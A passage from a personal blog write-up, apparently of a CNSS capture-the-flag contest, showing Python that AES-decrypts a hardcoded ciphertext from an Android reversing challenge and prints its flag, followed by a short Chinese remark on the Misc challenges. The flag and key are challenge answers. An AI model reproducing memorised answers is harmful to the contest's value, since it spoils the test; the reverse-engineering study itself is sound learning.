cipher_text = b64decode("11VaDwVeOwKvL6eqb2hsA2rb0wTbTRwsb7WirGpBW8s=")
key = key_str.encode('utf-8')
cipher = AES.new(key, AES.MODE_ECB)
decrypted_data = unpad(cipher.decrypt(cipher_text), AES.block_size)
return decrypted_data.decode('utf-8')

key = "I am CNSS AESkey"

decrypted_message = qvq(key)
print(decrypted_message)
"""
cnss{We1c0Me t0 Andorid Rev!}
"""

🧩Misc

没怎么做,也做不出来,笑死。做出来一道音频隐写还有一道Word文档查时间的题。

很有趣的一次经历,嘻嘻>.<

Author

Aununo Gan

Posted on

2024-09-07

Updated on

2025-04-30

Licensed under